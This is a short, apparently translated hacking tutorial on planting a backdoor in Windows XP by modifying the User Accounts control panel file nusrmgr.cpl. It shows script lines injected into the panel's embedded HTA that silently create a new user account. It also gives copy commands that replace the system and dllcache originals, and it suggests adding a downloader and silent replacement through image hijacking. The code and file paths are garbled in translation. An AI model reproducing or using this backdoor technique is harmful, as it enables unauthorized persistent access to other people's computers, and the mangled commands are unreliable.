Leave a backdoor using the cpl file of the control panel in xp

Author: lcx

This is the case when I use restorator to open nusrmgr. cpl. What do you see? Was it surprising that the "User Account" option in the control panel in xp was actually made in html. In fact, the panel of many components of Microsoft is made of html. This is why Microsoft has never been able to clear Internet Explorer. It involves too much, and even anti-monopoly law cannot allow Microsoft to delete Internet Explorer.

Have you seen the NUSRMGR. HTA file in the figure? We can use it for your hands and feet (of course you can select another js file)

We can add several lines of js statements in it:

Var WshShell = CreateObject ("WScript. Shell") WshShell. Run ("net.exe user lcx/add", 0, true)

Of course, it is better to add a Downloader. I just want to make an example.

Then:

Echo y | copy nusrmgr. cpl c: windowssystem32dllcacheusrmgr. cplecho y | copy nusrmgr. cpl c: windowssystem32usrmgr. cpl

Replace the original file. In this way, the user will automatically add an account to you after calling the "User Account" option in the control panel.

This is a good idea. To be perfect, you can check how other cpl files are modified and how to replace the original files (such as image hijacking) silently ).

Fixed: check frequently.
